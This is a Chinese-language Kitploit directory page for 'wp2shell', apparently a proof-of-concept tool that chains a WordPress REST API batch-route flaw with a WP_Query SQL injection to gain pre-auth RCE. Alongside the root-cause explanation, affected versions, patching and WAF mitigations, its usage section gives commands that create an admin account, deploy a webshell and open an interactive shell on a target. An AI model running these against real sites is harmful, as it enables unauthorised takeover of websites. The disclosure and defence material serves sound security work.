Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-63030-Wp2Shell — WordPress REST API SQLi 到 RCE PoC (CVE-2026-63030 & CVE-2026-60137) | Kitploit
工具/GitHubGitHub/ghostinexile/cve-2026-63030-wp2shell
漏洞扫描器代码分析漏洞利用Web安全论文与研究学习与教育
GitHubghostinexile/cve-2026-63030-wp2shell

CVE-2026-63030-Wp2Shell

WordPress REST API SQLi 到 RCE PoC (CVE-2026-63030 & CVE-2026-60137)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库网站
4662个月前尚未审核
分享

CVE-2026-63030 (wp2shell)——WordPress 核心预认证远程代码执行(RCE)

REST API 批量路由混淆与 CVE-2026-60137 SQL 注入的链式利用

CVE-2026-63030 CVE-2026-60137 aka wp2shell Status

TL;DR —— 未经身份验证的攻击者可以将 WordPress REST API 批量路由缺陷与 WP_Query 中的 SQL 注入链接起来,在默认的 WordPress 安装上实现完整的远程代码执行——无需插件、无需账户、无需用户交互。由 Adam Kues(Assetnote / Searchlight Cyber)发现,并将其命名为 wp2shell。已于 2026 年 7 月 17 日在 6.9.5、7.0.2 和 6.8.6 中修复。

概述

CVE-2026-63030 是 WordPress 核心的 REST API 批量端点(/wp-json/batch/v1)对失败的子请求处理不当,以致后续子请求在错误的路由下被分发。单独来看,这是一个逻辑缺陷。与 CVE-2026-60137(WP_Query 中 author__not_in 参数的 SQL 注入)链接后,就变成了未经身份验证的远程代码执行。

WordPress 将 CVE-2026-63030 评定为 严重(Critical),将 CVE-2026-60137 评定为 高危(High);第三方 CVSS 评分因跟踪机构而异(分别约为 7.5 和 9.1),因为这两个单一评分都无法完全反映该 漏洞链 的实际危害。无论你看到的是哪个单一数字,都请将其视为严重——WordPress 认为其严重程度足以对所有受影响站点强制自动更新。

工作原理

根本原因——批量记账失步。 当批量中的子请求未通过验证时,产生的 WP_Error 会被记录到内部 $validation[] 数组中——但用于路由的并行 $matches[] 数组并未同步更新。这一项的错位使后续每个子请求都偏移一个位置:子请求 N 最终被分发给本应属于子请求 N+1 的路由处理器。

输入净化绕过。 在从未被路由到的处理器下运行时,子请求会跳过该处理器自身的输入验证——包括类型检查和 is_array() 检查。

SQL 注入。 这一错位使攻击者控制的输入以原始字符串而非数组的形式到达 WP_Query 的 author__not_in 参数。本应拒绝它的 is_array() 防护永远不会执行,因此该值被直接插值到 NOT IN (...) 子句中。

入侵路径。 该注入仅支持 SELECT——不支持堆叠查询——但在数据库用户拥有 FILE 权限的主机上,这足以将 PHP webshell 写入 Web 根目录。在无法利用该权限的情况下,同一注入点可以改为通过盲注/UNION 注入转储 wp_users 表以获取管理员密码哈希。无论哪种方式:无需账户、无需插件、无需用户交互。

sequenceDiagram
    participant A as Attacker
    participant B as Batch Handler
    participant Q as WP_Query
    participant D as MySQL
 
    A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
    Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
    B->>B: Sub-request N dispatched with sub-request N+1's route handler
    Note over B: Wrong handler context — that route's input validation never runs
    B->>Q: author__not_in passed as raw string, not array
    Note over Q: is_array() guard skipped
    Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
    alt DB user has FILE privilege
        D-->>A: Writes PHP webshell to web root → RCE
    else No FILE privilege
        D-->>A: Blind/UNION injection dumps admin password hashes
    end

使用方法

  1. 克隆仓库
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell 
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
  1. 测试漏洞 - 在不进行利用的情况下检查目标是否存在漏洞:
python3 CVE-2026-63030.py -t https://target.com --test
  1. 创建管理员账户 - 通过 SQL 注入创建新的 WordPress 管理员:
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin

# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
  1. 执行 Shell 命令 - 部署 webshell 并执行命令:
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"

# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i

# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
  1. 清理:删除已创建的资源(管理员用户和 webshell):
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup

# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
  -U created_admin -P password \
  --shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
  1. 其他选项
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080

# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60

受影响版本

WordPress 版本SQL 注入(CVE-2026-60137)路由混淆(CVE-2026-63030)实际风险
< 6.8.0——不受影响
6.8.0 – 6.8.5✅—仅 SQL 注入——需要插件/主题将不可信输入传入 author__not_in;单靠核心无法在预认证状态下触达。无论如何请打补丁。
6.9.0 – 6.9.4✅✅未经身份验证的 RCE
7.0.0 – 7.0.1✅✅未经身份验证的 RCE
7.1 Beta 1✅✅未经身份验证的 RCE(Beta 通道)
  • RCE 链需要 两个 漏洞同时存在,而它们仅在 6.9.x 和 7.0.x 上重叠——这就是为什么 6.8 发布了补丁,但从未被认定存在完整漏洞链的原因。
  • 根据 Cloudflare 的分析,RCE 路径还要求站点 未 使用持久化对象缓存——这是常见的默认配置,但在评估实际暴露面而非仅查看补丁状态时值得检查。
  • GitHub 安全公告:GHSA-ff9f-jf42-662q(路由混淆)· GHSA-fpp7-x2x2-2mjf(SQL 注入)

发现与时间线

  • 路由混淆 / RCE 链(CVE-2026-63030)——由 Assetnote / Searchlight Cyber 的 Adam Kues 通过 WordPress 的 HackerOne 项目报告。
  • SQL 注入(CVE-2026-60137)——由 TF1T、dtro 和 haongo 以团队形式单独报告。
  • 2026 年 7 月 17 日——WordPress 发布了紧急版本 6.9.5 和 7.0.2,将修复回溯到 6.8.6,并将这两项修复都包含在 7.1 Beta 2 中。Cloudflare 在公开披露之前,于同一天为这两个 CVE 部署了托管 WAF 规则。
  • 自披露以来——技术分析文章和至少一个公开的概念验证(据其自身文档称仅用于检测)已在流传。截至披露后数日,尚未有已确认的在野利用报告——请查阅最新威胁情报,而不要将其视为定论。

缓解措施

  1. 立即打补丁 至 6.9.5、7.0.2、6.8.6 或更高版本——这是唯一完整的修复方案。WordPress 已对受影响站点启用强制自动更新;请确认你的站点确实已应用,而不是想当然。
  2. 暂时无法打补丁? 在 WAF/边缘层阻止对批量端点的未经身份验证的访问:同时阻止 /wp-json/batch/v1 和 ?rest_route=/batch/v1。仅为应急措施——这可能会破坏合法的批量 API 使用(例如基于块的编辑),并且不能替代打补丁。
  3. 启用托管 WAF 规则(如果你的服务商已提供)。Cloudflare 在披露当天即面向免费和付费套餐部署了针对这两个 CVE 的规则。
  4. 打补丁后,检查访问日志中披露窗口期(2026 年 7 月 17 日及之后)内包含畸形或异常子请求路径的批量请求。

参考资料

  • WordPress 7.0.2 发布公告 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • GHSA-ff9f-jf42-662q(CVE-2026-63030)— https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
  • GHSA-fpp7-x2x2-2mjf(CVE-2026-60137)— https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • Searchlight Cyber wp2shell 公告 — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Cloudflare WAF 覆盖 — https://blog.cloudflare.com/wordpress-vulnerabilities/
下载工具